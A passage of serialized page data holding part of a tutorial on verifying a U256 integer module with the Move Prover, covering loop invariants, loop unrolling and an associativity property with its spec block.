in",{"type":26,"tag":217,"props":154416,"children":154417},{"style":7130},[154418],{"type":32,"value":9922},{"type":26,"tag":217,"props":154420,"children":154421},{"style":7149},[154422],{"type":32,"value":120880},{"type":26,"tag":217,"props":154424,"children":154425},{"style":7054},[154426],{"type":32,"value":2290},{"type":26,"tag":217,"props":154428,"children":154429},{"style":7149},[154430],{"type":32,"value":1473},{"type":26,"tag":217,"props":154432,"children":154433},{"style":7054},[154434],{"type":32,"value":154435}," amounts_times_coins",{"type":26,"tag":217,"props":154437,"children":154438},{"style":7048},[154439],{"type":32,"value":7127},{"type":26,"tag":217,"props":154441,"children":154442},{"style":7054},[154443],{"type":32,"value":49141},{"type":26,"tag":217,"props":154445,"children":154446},{"style":7048},[154447],{"type":32,"value":10276},{"type":26,"tag":217,"props":154449,"children":154450},{"style":7149},[154451],{"type":32,"value":9106},{"type":26,"tag":217,"props":154453,"children":154454},{"style":7054},[154455],{"type":32,"value":154456}," input",{"type":26,"tag":217,"props":154458,"children":154459},{"style":7048},[154460],{"type":32,"value":7127},{"type":26,"tag":217,"props":154462,"children":154463},{"style":7054},[154464],{"type":32,"value":49141},{"type":26,"tag":217,"props":154466,"children":154467},{"style":7048},[154468],{"type":32,"value":10276},{"type":26,"tag":217,"props":154470,"children":154471},{"style":7149},[154472],{"type":32,"value":10006},{"type":26,"tag":217,"props":154474,"children":154475},{"style":7054},[154476],{"type":32,"value":154389},{"type":26,"tag":217,"props":154478,"children":154479},{"style":7048},[154480],{"type":32,"value":7162},{"type":26,"tag":217,"props":154482,"children":154483},{"class":7028,"line":7178},[154484],{"type":26,"tag":217,"props":154485,"children":154486},{"style":7048},[154487],{"type":32,"value":131977},{"type":26,"tag":217,"props":154489,"children":154490},{"class":7028,"line":7389},[154491,154496,154500,154504,154508],{"type":26,"tag":217,"props":154492,"children":154493},{"style":7048},[154494],{"type":32,"value":154495},"      (",{"type":26,"tag":217,"props":154497,"children":154498},{"style":7054},[154499],{"type":32,"value":2290},{"type":26,"tag":217,"props":154501,"children":154502},{"style":7149},[154503],{"type":32,"value":13147},{"type":26,"tag":217,"props":154505,"children":154506},{"style":7054},[154507],{"type":32,"value":154389},{"type":26,"tag":217,"props":154509,"children":154510},{"style":7048},[154511],{"type":32,"value":10025},{"type":26,"tag":217,"props":154513,"children":154514},{"class":7028,"line":7406},[154515],{"type":26,"tag":217,"props":154516,"children":154517},{"style":7048},[154518],{"type":32,"value":154519},"  }) {\n",{"type":26,"tag":217,"props":154521,"children":154522},{"class":7028,"line":7439},[154523,154528,154532,154537],{"type":26,"tag":217,"props":154524,"children":154525},{"style":7048},[154526],{"type":32,"value":154527},"      vector",{"type":26,"tag":217,"props":154529,"children":154530},{"style":7149},[154531],{"type":32,"value":56166},{"type":26,"tag":217,"props":154533,"children":154534},{"style":7064},[154535],{"type":32,"value":154536},"push_back",{"type":26,"tag":217,"props":154538,"children":154539},{"style":7048},[154540],{"type":32,"value":10932},{"type":26,"tag":217,"props":154542,"children":154543},{"class":7028,"line":7487},[154544,154549,154553,154557],{"type":26,"tag":217,"props":154545,"children":154546},{"style":7149},[154547],{"type":32,"value":154548},"          &",{"type":26,"tag":217,"props":154550,"children":154551},{"style":7154},[154552],{"type":32,"value":90786},{"type":26,"tag":217,"props":154554,"children":154555},{"style":7054},[154556],{"type":32,"value":154435},{"type":26,"tag":217,"props":154558,"children":154559},{"style":7048},[154560],{"type":32,"value":10953},{"type":26,"tag":217,"props":154562,"children":154563},{"class":7028,"line":7524},[154564,154569,154573,154578,154582,154586,154590,154594,154598,154602,154606,154610,154614,154618,154622,154626,154630,154634,154638,154643,154647,154651],{"type":26,"tag":217,"props":154565,"children":154566},{"style":7048},[154567],{"type":32,"value":154568},"          (",{"type":26,"tag":217,"props":154570,"children":154571},{"style":7149},[154572],{"type":32,"value":10006},{"type":26,"tag":217,"props":154574,"children":154575},{"style":7048},[154576],{"type":32,"value":154577},"vector",{"type":26,"tag":217,"props":154579,"children":154580},{"style":7149},[154581],{"type":32,"value":56166},{"type":26,"tag":217,"props":154583,"children":154584},{"style":7064},[154585],{"type":32,"value":150166},{"type":26,"tag":217,"props":154587,"children":154588},{"style":7048},[154589],{"type":32,"value":1851},{"type":26,"tag":217,"props":154591,"children":154592},{"style":7149},[154593],{"type":32,"value":9804},{"type":26,"tag":217,"props":154595,"children":154596},{"style":7054},[154597],{"type":32,"value":56415},{"type":26,"tag":217,"props":154599,"children":154600},{"style":7048},[154601],{"type":32,"value":129798},{"type":26,"tag":217,"props":154603,"children":154604},{"style":7054},[154605],{"type":32,"value":2290},{"type":26,"tag":217,"props":154607,"children":154608},{"style":7154},[154609],{"type":32,"value":97268},{"type":26,"tag":217,"props":154611,"children":154612},{"style":7119},[154613],{"type":32,"value":91146},{"type":26,"tag":217,"props":154615,"children":154616},{"style":7048},[154617],{"type":32,"value":9156},{"type":26,"tag":217,"props":154619,"children":154620},{"style":7154},[154621],{"type":32,"value":91735},{"type":26,"tag":217,"props":154623,"children":154624},{"style":7119},[154625],{"type":32,"value":152913},{"type":26,"tag":217,"props":154627,"children":154628},{"style":7048},[154629],{"type":32,"value":8380},{"type":26,"tag":217,"props":154631,"children":154632},{"style":7149},[154633],{"type":32,"value":10006},{"type":26,"tag":217,"props":154635,"children":154636},{"style":7048},[154637],{"type":32,"value":7051},{"type":26,"tag":217,"props":154639,"children":154640},{"style":7054},[154641],{"type":32,"value":154642},"n_coins",{"type":26,"tag":217,"props":154644,"children":154645},{"style":7154},[154646],{"type":32,"value":97268},{"type":26,"tag":217,"props":154648,"children":154649},{"style":7119},[154650],{"type":32,"value":152913},{"type":26,"tag":217,"props":154652,"children":154653},{"style":7048},[154654],{"type":32,"value":10025},{"type":26,"tag":217,"props":154656,"children":154657},{"class":7028,"line":7553},[154658],{"type":26,"tag":217,"props":154659,"children":154660},{"style":7048},[154661],{"type":32,"value":66128},{"type":26,"tag":217,"props":154663,"children":154664},{"class":7028,"line":7570},[154665,154670,154674,154678,154682,154686],{"type":26,"tag":217,"props":154666,"children":154667},{"style":7054},[154668],{"type":32,"value":154669},"      i",{"type":26,"tag":217,"props":154671,"children":154672},{"style":7149},[154673],{"type":32,"value":8993},{"type":26,"tag":217,"props":154675,"children":154676},{"style":7054},[154677],{"type":32,"value":28971},{"type":26,"tag":217,"props":154679,"children":154680},{"style":7149},[154681],{"type":32,"value":9025},{"type":26,"tag":217,"props":154683,"children":154684},{"style":7130},[154685],{"type":32,"value":9742},{"type":26,"tag":217,"props":154687,"children":154688},{"style":7048},[154689],{"type":32,"value":7162},{"type":26,"tag":217,"props":154691,"children":154692},{"class":7028,"line":7621},[154693],{"type":26,"tag":217,"props":154694,"children":154695},{"style":7048},[154696],{"type":32,"value":154697},"  };\n",{"type":26,"tag":39,"props":154699,"children":154700},{},[154701,154703,154709,154711,154716,154718,154724],{"type":32,"value":154702},"In this case, the brackets specify the loop invariant for the ",{"type":26,"tag":83,"props":154704,"children":154706},{"className":154705},[],[154707],{"type":32,"value":154708},"while",{"type":32,"value":154710}," loop. Note that because the loop invariant executes ",{"type":26,"tag":65,"props":154712,"children":154713},{},[154714],{"type":32,"value":154715},"after",{"type":32,"value":154717}," the loop guard, so we need to account for an extra step with ",{"type":26,"tag":83,"props":154719,"children":154721},{"className":154720},[],[154722],{"type":32,"value":154723},"i \u003C= n_coins",{"type":32,"value":180},{"type":26,"tag":207,"props":154726,"children":154728},{"code":154727,"language":56139,"meta":8,"className":56140,"style":8},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[154729],{"type":26,"tag":83,"props":154730,"children":154731},{"__ignoreMap":8},[154732,154743,154754,154789,154812,154895,154902,154925],{"type":26,"tag":217,"props":154733,"children":154734},{"class":7028,"line":7029},[154735,154739],{"type":26,"tag":217,"props":154736,"children":154737},{"style":7042},[154738],{"type":32,"value":154315},{"type":26,"tag":217,"props":154740,"children":154741},{"style":7048},[154742],{"type":32,"value":154320},{"type":26,"tag":217,"props":154744,"children":154745},{"class":7028,"line":6770},[154746,154750],{"type":26,"tag":217,"props":154747,"children":154748},{"style":7054},[154749],{"type":32,"value":154328},{"type":26,"tag":217,"props":154751,"children":154752},{"style":7048},[154753],{"type":32,"value":8064},{"type":26,"tag":217,"props":154755,"children":154756},{"class":7028,"line":6779},[154757,154761,154765,154769,154773,154777,154781,154785],{"type":26,"tag":217,"props":154758,"children":154759},{"style":7054},[154760],{"type":32,"value":154340},{"type":26,"tag":217,"props":154762,"children":154763},{"style":7064},[154764],{"type":32,"value":81182},{"type":26,"tag":217,"props":154766,"children":154767},{"style":7048},[154768],{"type":32,"value":1851},{"type":26,"tag":217,"props":154770,"children":154771},{"style":7054},[154772],{"type":32,"value":154353},{"type":26,"tag":217,"props":154774,"children":154775},{"style":7048},[154776],{"type":32,"value":8380},{"type":26,"tag":217,"props":154778,"children":154779},{"style":7149},[154780],{"type":32,"value":9106},{"type":26,"tag":217,"props":154782,"children":154783},{"style":7054},[154784],{"type":32,"value":28971},{"type":26,"tag":217,"props":154786,"children":154787},{"style":7048},[154788],{"type":32,"value":7162},{"type":26,"tag":217,"props":154790,"children":154791},{"class":7028,"line":7140},[154792,154796,154800,154804,154808],{"type":26,"tag":217,"props":154793,"children":154794},{"style":7054},[154795],{"type":32,"value":154340},{"type":26,"tag":217,"props":154797,"children":154798},{"style":7054},[154799],{"type":32,"value":28971},{"type":26,"tag":217,"props":154801,"children":154802},{"style":7149},[154803],{"type":32,"value":92297},{"type":26,"tag":217,"props":154805,"children":154806},{"style":7054},[154807],{"type":32,"value":154389},{"type":26,"tag":217,"props":154809,"children":154810},{"style":7048},[154811],{"type":32,"value":7162},{"type":26,"tag":217,"props":154813,"children":154814},{"class":7028,"line":7165},[154815,154819,154823,154827,154831,154835,154839,154843,154847,154851,154855,154859,154863,154867,154871,154875,154879,154883,154887,154891],{"type":26,"tag":217,"props":154816,"children":154817},{"style":7054},[154818],{"type":32,"value":154340},{"type":26,"tag":217,"props":154820,"children":154821},{"style":7054},[154822],{"type":32,"value":154405},{"type":26,"tag":217,"props":154824,"children":154825},{"style":7054},[154826],{"type":32,"value":113770},{"type":26,"tag":217,"props":154828,"children":154829},{"style":7154},[154830],{"type":32,"value":154414},{"type":26,"tag":217,"props":154832,"children":154833},{"style":7130},[154834],{"type":32,"value":9922},{"type":26,"tag":217,"props":154836,"children":154837},{"style":7149},[154838],{"type":32,"value":120880},{"type":26,"tag":217,"props":154840,"children":154841},{"style":7054},[154842],{"type":32,"value":2290},{"type":26,"tag":217,"props":154844,"children":154845},{"style":7149},[154846],{"type":32,"value":1473},{"type":26,"tag":217,"props":154848,"children":154849},{"style":7054},[154850],{"type":32,"value":154435},{"type":26,"tag":217,"props":154852,"children":154853},{"style":7048},[154854],{"type":32,"value":7127},{"type":26,"tag":217,"props":154856,"children":154857},{"style":7054},[154858],{"type":32,"value":49141},{"type":26,"tag":217,"props":154860,"children":154861},{"style":7048},[154862],{"type":32,"value":10276},{"type":26,"tag":217,"props":154864,"children":154865},{"style":7149},[154866],{"type":32,"value":9106},{"type":26,"tag":217,"props":154868,"children":154869},{"style":7054},[154870],{"type":32,"value":154456},{"type":26,"tag":217,"props":154872,"children":154873},{"style":7048},[154874],{"type":32,"value":7127},{"type":26,"tag":217,"props":154876,"children":154877},{"style":7054},[154878],{"type":32,"value":49141},{"type":26,"tag":217,"props":154880,"children":154881},{"style":7048},[154882],{"type":32,"value":10276},{"type":26,"tag":217,"props":154884,"children":154885},{"style":7149},[154886],{"type":32,"value":10006},{"type":26,"tag":217,"props":154888,"children":154889},{"style":7054},[154890],{"type":32,"value":154389},{"type":26,"tag":217,"props":154892,"children":154893},{"style":7048},[154894],{"type":32,"value":7162},{"type":26,"tag":217,"props":154896,"children":154897},{"class":7028,"line":7178},[154898],{"type":26,"tag":217,"props":154899,"children":154900},{"style":7048},[154901],{"type":32,"value":131977},{"type":26,"tag":217,"props":154903,"children":154904},{"class":7028,"line":7389},[154905,154909,154913,154917,154921],{"type":26,"tag":217,"props":154906,"children":154907},{"style":7048},[154908],{"type":32,"value":154495},{"type":26,"tag":217,"props":154910,"children":154911},{"style":7054},[154912],{"type":32,"value":2290},{"type":26,"tag":217,"props":154914,"children":154915},{"style":7149},[154916],{"type":32,"value":13147},{"type":26,"tag":217,"props":154918,"children":154919},{"style":7054},[154920],{"type":32,"value":154389},{"type":26,"tag":217,"props":154922,"children":154923},{"style":7048},[154924],{"type":32,"value":10025},{"type":26,"tag":217,"props":154926,"children":154927},{"class":7028,"line":7406},[154928],{"type":26,"tag":217,"props":154929,"children":154930},{"style":7048},[154931],{"type":32,"value":154519},{"type":26,"tag":39,"props":154933,"children":154934},{},[154935],{"type":32,"value":154936},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":26,"tag":39,"props":154938,"children":154939},{},[154940,154942,154947],{"type":32,"value":154941},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":26,"tag":83,"props":154943,"children":154945},{"className":154944},[],[154946],{"type":32,"value":61551},{"type":32,"value":154948}," function will always iterate exactly 4 times:",{"type":26,"tag":207,"props":154950,"children":154952},{"code":154951,"language":56139,"meta":8,"className":56140,"style":8},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[154953],{"type":26,"tag":83,"props":154954,"children":154955},{"__ignoreMap":8},[154956,154964,154996,155003,155018,155025,155048,155072,155117,155161,155168],{"type":26,"tag":217,"props":154957,"children":154958},{"class":7028,"line":7029},[154959],{"type":26,"tag":217,"props":154960,"children":154961},{"style":7033},[154962],{"type":32,"value":154963},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":26,"tag":217,"props":154965,"children":154966},{"class":7028,"line":6770},[154967,154971,154976,154980,154984,154988,154992],{"type":26,"tag":217,"props":154968,"children":154969},{"style":7154},[154970],{"type":32,"value":74748},{"type":26,"tag":217,"props":154972,"children":154973},{"style":7048},[154974],{"type":32,"value":154975}," WORDS",{"type":26,"tag":217,"props":154977,"children":154978},{"style":7149},[154979],{"type":32,"value":1473},{"type":26,"tag":217,"props":154981,"children":154982},{"style":7119},[154983],{"type":32,"value":91146},{"type":26,"tag":217,"props":154985,"children":154986},{"style":7149},[154987],{"type":32,"value":8993},{"type":26,"tag":217,"props":154989,"children":154990},{"style":7130},[154991],{"type":32,"value":10271},{"type":26,"tag":217,"props":154993,"children":154994},{"style":7048},[154995],{"type":32,"value":7162},{"type":26,"tag":217,"props":154997,"children":154998},{"class":7028,"line":6779},[154999],{"type":26,"tag":217,"props":155000,"children":155001},{"emptyLinePlaceholder":17},[155002],{"type":32,"value":7817},{"type":26,"tag":217,"props":155004,"children":155005},{"class":7028,"line":7140},[155006,155010,155014],{"type":26,"tag":217,"props":155007,"children":155008},{"style":7048},[155009],{"type":32,"value":7127},{"type":26,"tag":217,"props":155011,"children":155012},{"style":7149},[155013],{"type":32,"value":13251},{"type":26,"tag":217,"props":155015,"children":155016},{"style":7048},[155017],{"type":32,"value":13256},{"type":26,"tag":217,"props":155019,"children":155020},{"class":7028,"line":7165},[155021],{"type":26,"tag":217,"props":155022,"children":155023},{"emptyLinePlaceholder":17},[155024],{"type":32,"value":7817},{"type":26,"tag":217,"props":155026,"children":155027},{"class":7028,"line":7178},[155028,155032,155036,155040,155044],{"type":26,"tag":217,"props":155029,"children":155030},{"style":7154},[155031],{"type":32,"value":12470},{"type":26,"tag":217,"props":155033,"children":155034},{"style":7054},[155035],{"type":32,"value":28971},{"type":26,"tag":217,"props":155037,"children":155038},{"style":7149},[155039],{"type":32,"value":8993},{"type":26,"tag":217,"props":155041,"children":155042},{"style":7130},[155043],{"type":32,"value":9922},{"type":26,"tag":217,"props":155045,"children":155046},{"style":7048},[155047],{"type":32,"value":7162},{"type":26,"tag":217,"props":155049,"children":155050},{"class":7028,"line":7389},[155051,155055,155059,155063,155067],{"type":26,"tag":217,"props":155052,"children":155053},{"style":7042},[155054],{"type":32,"value":154708},{"type":26,"tag":217,"props":155056,"children":155057},{"style":7048},[155058],{"type":32,"value":7051},{"type":26,"tag":217,"props":155060,"children":155061},{"style":7054},[155062],{"type":32,"value":2290},{"type":26,"tag":217,"props":155064,"children":155065},{"style":7149},[155066],{"type":32,"value":13147},{"type":26,"tag":217,"props":155068,"children":155069},{"style":7048},[155070],{"type":32,"value":155071}," WORDS) {\n",{"type":26,"tag":217,"props":155073,"children":155074},{"class":7028,"line":7406},[155075,155079,155084,155088,155093,155097,155101,155105,155109,155113],{"type":26,"tag":217,"props":155076,"children":155077},{"style":7154},[155078],{"type":32,"value":77780},{"type":26,"tag":217,"props":155080,"children":155081},{"style":7054},[155082],{"type":32,"value":155083}," a1",{"type":26,"tag":217,"props":155085,"children":155086},{"style":7149},[155087],{"type":32,"value":8993},{"type":26,"tag":217,"props":155089,"children":155090},{"style":7064},[155091],{"type":32,"value":155092}," get",{"type":26,"tag":217,"props":155094,"children":155095},{"style":7048},[155096],{"type":32,"value":1851},{"type":26,"tag":217,"props":155098,"children":155099},{"style":7149},[155100],{"type":32,"value":9804},{"type":26,"tag":217,"props":155102,"children":155103},{"style":7054},[155104],{"type":32,"value":163},{"type":26,"tag":217,"props":155106,"children":155107},{"style":7048},[155108],{"type":32,"value":7599},{"type":26,"tag":217,"props":155110,"children":155111},{"style":7054},[155112],{"type":32,"value":2290},{"type":26,"tag":217,"props":155114,"children":155115},{"style":7048},[155116],{"type":32,"value":7669},{"type":26,"tag":217,"props":155118,"children":155119},{"class":7028,"line":7439},[155120,155124,155129,155133,155137,155141,155145,155149,155153,155157],{"type":26,"tag":217,"props":155121,"children":155122},{"style":7154},[155123],{"type":32,"value":77780},{"type":26,"tag":217,"props":155125,"children":155126},{"style":7054},[155127],{"type":32,"value":155128}," b1",{"type":26,"tag":217,"props":155130,"children":155131},{"style":7149},[155132],{"type":32,"value":8993},{"type":26,"tag":217,"props":155134,"children":155135},{"style":7064},[155136],{"type":32,"value":155092},{"type":26,"tag":217,"props":155138,"children":155139},{"style":7048},[155140],{"type":32,"value":1851},{"type":26,"tag":217,"props":155142,"children":155143},{"style":7149},[155144],{"type":32,"value":9804},{"type":26,"tag":217,"props":155146,"children":155147},{"style":7054},[155148],{"type":32,"value":14783},{"type":26,"tag":217,"props":155150,"children":155151},{"style":7048},[155152],{"type":32,"value":7599},{"type":26,"tag":217,"props":155154,"children":155155},{"style":7054},[155156],{"type":32,"value":2290},{"type":26,"tag":217,"props":155158,"children":155159},{"style":7048},[155160],{"type":32,"value":7669},{"type":26,"tag":217,"props":155162,"children":155163},{"class":7028,"line":7487},[155164],{"type":26,"tag":217,"props":155165,"children":155166},{"emptyLinePlaceholder":17},[155167],{"type":32,"value":7817},{"type":26,"tag":217,"props":155169,"children":155170},{"class":7028,"line":7524},[155171,155175,155179],{"type":26,"tag":217,"props":155172,"children":155173},{"style":7048},[155174],{"type":32,"value":7127},{"type":26,"tag":217,"props":155176,"children":155177},{"style":7149},[155178],{"type":32,"value":13251},{"type":26,"tag":217,"props":155180,"children":155181},{"style":7048},[155182],{"type":32,"value":13256},{"type":26,"tag":39,"props":155184,"children":155185},{},[155186],{"type":32,"value":155187},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":26,"tag":207,"props":155189,"children":155191},{"code":155190},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[155192],{"type":26,"tag":83,"props":155193,"children":155194},{"__ignoreMap":8},[155195],{"type":32,"value":155190},{"type":26,"tag":39,"props":155197,"children":155198},{},[155199,155201,155206,155207,155213],{"type":32,"value":155200},"For the ",{"type":26,"tag":9348,"props":155202,"children":155203},{},[155204],{"type":32,"value":155205},"Associative Property",{"type":32,"value":7051},{"type":26,"tag":83,"props":155208,"children":155210},{"className":155209},[],[155211],{"type":32,"value":155212},"a+(b+c) = (a+b)+c",{"type":32,"value":155214},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":26,"tag":207,"props":155216,"children":155218},{"code":155217,"language":56139,"meta":8,"className":56140,"style":8},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[155219],{"type":26,"tag":83,"props":155220,"children":155221},{"__ignoreMap":8},[155222,155298,155338,155379,155419,155460,155467,155518,155557],{"type":26,"tag":217,"props":155223,"children":155224},{"class":7028,"line":7029},[155225,155229,155234,155238,155242,155246,155250,155254,155258,155262,155266,155270,155274,155278,155282,155286,155290,155294],{"type":26,"tag":217,"props":155226,"children":155227},{"style":7054},[155228],{"type":32,"value":101594},{"type":26,"tag":217,"props":155230,"children":155231},{"style":7064},[155232],{"type":32,"value":155233}," add_assoc_property",{"type":26,"tag":217,"props":155235,"children":155236},{"style":7048},[155237],{"type":32,"value":1851},{"type":26,"tag":217,"props":155239,"children":155240},{"style":7054},[155241],{"type":32,"value":163},{"type":26,"tag":217,"props":155243,"children":155244},{"style":7149},[155245],{"type":32,"value":1473},{"type":26,"tag":217,"props":155247,"children":155248},{"style":7119},[155249],{"type":32,"value":152653},{"type":26,"tag":217,"props":155251,"children":155252},{"style":7048},[155253],{"type":32,"value":7599},{"type":26,"tag":217,"props":155255,"children":155256},{"style":7054},[155257],{"type":32,"value":14783},{"type":26,"tag":217,"props":155259,"children":155260},{"style":7149},[155261],{"type":32,"value":1473},{"type":26,"tag":217,"props":155263,"children":155264},{"style":7119},[155265],{"type":32,"value":152653},{"type":26,"tag":217,"props":155267,"children":155268},{"style":7048},[155269],{"type":32,"value":7599},{"type":26,"tag":217,"props":155271,"children":155272},{"style":7054},[155273],{"type":32,"value":2255},{"type":26,"tag":217,"props":155275,"children":155276},{"style":7149},[155277],{"type":32,"value":1473},{"type":26,"tag":217,"props":155279,"children":155280},{"style":7119},[155281],{"type":32,"value":152653},{"type":26,"tag":217,"props":155283,"children":155284},{"style":7048},[155285],{"type":32,"value":1889},{"type":26,"tag":217,"props":155287,"children":155288},{"style":7149},[155289],{"type":32,"value":1473},{"type":26,"tag":217,"props":155291,"children":155292},{"style":7119},[155293],{"type":32,"value":79568},{"type":26,"tag":217,"props":155295,"children":155296},{"style":7048},[155297],{"type":32,"value":8064},{"type":26,"tag":217,"props":155299,"children":155300},{"class":7028,"line":6770},[155301,155305,155310,155314,155318,155322,155326,155330,155334],{"type":26,"tag":217,"props":155302,"children":155303},{"style":7154},[155304],{"type":32,"value":77780},{"type":26,"tag":217,"props":155306,"children":155307},{"style":7054},[155308],{"type":32,"value":155309}," result_1",{"type":26,"tag":217,"props":155311,"children":155312},{"style":7149},[155313],{"type":32,"value":8993},{"type":26,"tag":217,"props":155315,"children":155316},{"style":7064},[155317],{"type":32,"value":152829},{"type":26,"tag":217,"props":155319,"children":155320},{"style":7048},[155321],{"type":32,"value":1851},{"type":26,"tag":217,"props":155323,"children":155324},{"style":7054},[155325],{"type":32,"value":14783},{"type":26,"tag":217,"props":155327,"children":155328},{"style":7048},[155329],{"type":32,"value":7599},{"type":26,"tag":217,"props":155331,"children":155332},{"style":7054},[155333],{"type":32,"value":2255},{"type":26,"tag":217,"props":155335,"children":155336},{"style":7048},[155337],{"type":32,"value":7669},{"type":26,"tag":217,"props":155339,"children":155340},{"class":7028,"line":6779},[155341,155345,155350,155354,155358,155362,155366,155370,155375],{"type":26,"tag":217,"props":155342,"children":155343},{"style":7154},[155344],{"type":32,"value":77780},{"type":26,"tag":217,"props":155346,"children":155347},{"style":7054},[155348],{"type":32,"value":155349}," result_11",{"type":26,"tag":217,"props":155351,"children":155352},{"style":7149},[155353],{"type":32,"value":8993},{"type":26,"tag":217,"props":155355,"children":155356},{"style":7064},[155357],{"type":32,"value":152829},{"type":26,"tag":217,"props":155359,"children":155360},{"style":7048},[155361],{"type":32,"value":1851},{"type":26,"tag":217,"props":155363,"children":155364},{"style":7054},[155365],{"type":32,"value":163},{"type":26,"tag":217,"props":155367,"children":155368},{"style":7048},[155369],{"type":32,"value":7599},{"type":26,"tag":217,"props":155371,"children":155372},{"style":7054},[155373],{"type":32,"value":155374},"result_1",{"type":26,"tag":217,"props":155376,"children":155377},{"style":7048},[155378],{"type":32,"value":7669},{"type":26,"tag":217,"props":155380,"children":155381},{"class":7028,"line":7140},[155382,155386,155391,155395,155399,155403,155407,155411,155415],{"type":26,"tag":217,"props":155383,"children":155384},{"style":7154},[155385],{"type":32,"value":77780},{"type":26,"tag":217,"props":155387,"children":155388},{"style":7054},[155389],{"type":32,"value":155390}," result_2",{"type":26,"tag":217,"props":155392,"children":155393},{"style":7149},[155394],{"type":32,"value":8993},{"type":26,"tag":217,"props":155396,"children":155397},{"style":7064},[155398],{"type":32,"value":152829},{"type":26,"tag":217,"props":155400,"children":155401},{"style":7048},[155402],{"type":32,"value":1851},{"type":26,"tag":217,"props":155404,"children":155405},{"style":7054},[155406],{"type":32,"value":163},{"type":26,"tag":217,"props":155408,"children":155409},{"style":7048},[155410],{"type":32,"value":7599},{"type":26,"tag":217,"props":155412,"children":155413},{"style":7054},[155414],{"type":32,"value":14783},{"type":26,"tag":217,"props":155416,"children":155417},{"style":7048},[155418],{"type":32,"value":7669},{"type":26,"tag":217,"props":155420,"children":155421},{"class":7028,"line":7165},[155422,155426,155431,155435,155439,155443,155447,155451,155456],{"type":26,"tag":217,"props":155423,"children":155424},{"style":7154},[155425],{"type":32,"value":77780},{"type":26,"tag":217,"props":155427,"children":155428},{"style":7054},[155429],{"type":32,"value":155430}," result_22",{"type":26,"tag":217,"props":155432,"children":155433},{"style":7149},[155434],{"type":32,"value":8993},{"type":26,"tag":217,"props":155436,"children":155437},{"style":7064},[155438],{"type":32,"value":152829},{"type":26,"tag":217,"props":155440,"children":155441},{"style":7048},[155442],{"type":32,"value":1851},{"type":26,"tag":217,"props":155444,"children":155445},{"style":7054},[155446],{"type":32,"value":2255},{"type":26,"tag":217,"props":155448,"children":155449},{"style":7048},[155450],{"type":32,"value":7599},{"type":26,"tag":217,"props":155452,"children":155453},{"style":7054},[155454],{"type":32,"value":155455},"result_2",{"type":26,"tag":217,"props":155457,"children":155458},{"style":7048},[155459],{"type":32,"value":7669},{"type":26,"tag":217,"props":155461,"children":155462},{"class":7028,"line":7178},[155463],{"type":26,"tag":217,"props":155464,"children":155465},{"emptyLinePlaceholder":17},[155466],{"type":32,"value":7817},{"type":26,"tag":217,"props":155468,"children":155469},{"class":7028,"line":7389},[155470,155474,155479,155483,155488,155492,155496,155501,155505,155509,155514],{"type":26,"tag":217,"props":155471,"children":155472},{"style":7154},[155473],{"type":32,"value":77780},{"type":26,"tag":217,"props":155475,"children":155476},{"style":7054},[155477],{"type":32,"value":155478}," cmp",{"type":26,"tag":217,"props":155480,"children":155481},{"style":7149},[155482],{"type":32,"value":8993},{"type":26,"tag":217,"props":155484,"children":155485},{"style":7064},[155486],{"type":32,"value":155487}," compare",{"type":26,"tag":217,"props":155489,"children":155490},{"style":7048},[155491],{"type":32,"value":1851},{"type":26,"tag":217,"props":155493,"children":155494},{"style":7149},[155495],{"type":32,"value":9804},{"type":26,"tag":217,"props":155497,"children":155498},{"style":7054},[155499],{"type":32,"value":155500},"result_11",{"type":26,"tag":217,"props":155502,"children":155503},{"style":7048},[155504],{"type":32,"value":7599},{"type":26,"tag":217,"props":155506,"children":155507},{"style":7149},[155508],{"type":32,"value":9804},{"type":26,"tag":217,"props":155510,"children":155511},{"style":7054},[155512],{"type":32,"value":155513},"result_22",{"type":26,"tag":217,"props":155515,"children":155516},{"style":7048},[155517],{"type":32,"value":7669},{"type":26,"tag":217,"props":155519,"children":155520},{"class":7028,"line":7406},[155521,155525,155530,155535,155539,155544,155548,155553],{"type":26,"tag":217,"props":155522,"children":155523},{"style":7042},[155524],{"type":32,"value":9710},{"type":26,"tag":217,"props":155526,"children":155527},{"style":7048},[155528],{"type":32,"value":155529}," ( ",{"type":26,"tag":217,"props":155531,"children":155532},{"style":7054},[155533],{"type":32,"value":155534},"cmp",{"type":26,"tag":217,"props":155536,"children":155537},{"style":7149},[155538],{"type":32,"value":11680},{"type":26,"tag":217,"props":155540,"children":155541},{"style":7048},[155542],{"type":32,"value":155543}," EQUAL ) ",{"type":26,"tag":217,"props":155545,"children":155546},{"style":7154},[155547],{"type":32,"value":231},{"type":26,"tag":217,"props":155549,"children":155550},{"style":7042},[155551],{"type":32,"value":155552}," else",{"type":26,"tag":217,"props":155554,"children":155555},{"style":7154},[155556],{"type":32,"value":13561},{"type":26,"tag":217,"props":155558,"children":155559},{"class":7028,"line":7439},[155560],{"type":26,"tag":217,"props":155561,"children":155562},{"style":7048},[155563],{"type":32,"value":7184},{"type":26,"tag":39,"props":155565,"children":155566},{},[155567],{"type":32,"value":155568},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":26,"tag":207,"props":155570,"children":155572},{"code":155571,"language":56139,"meta":8,"className":56140,"style":8},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == 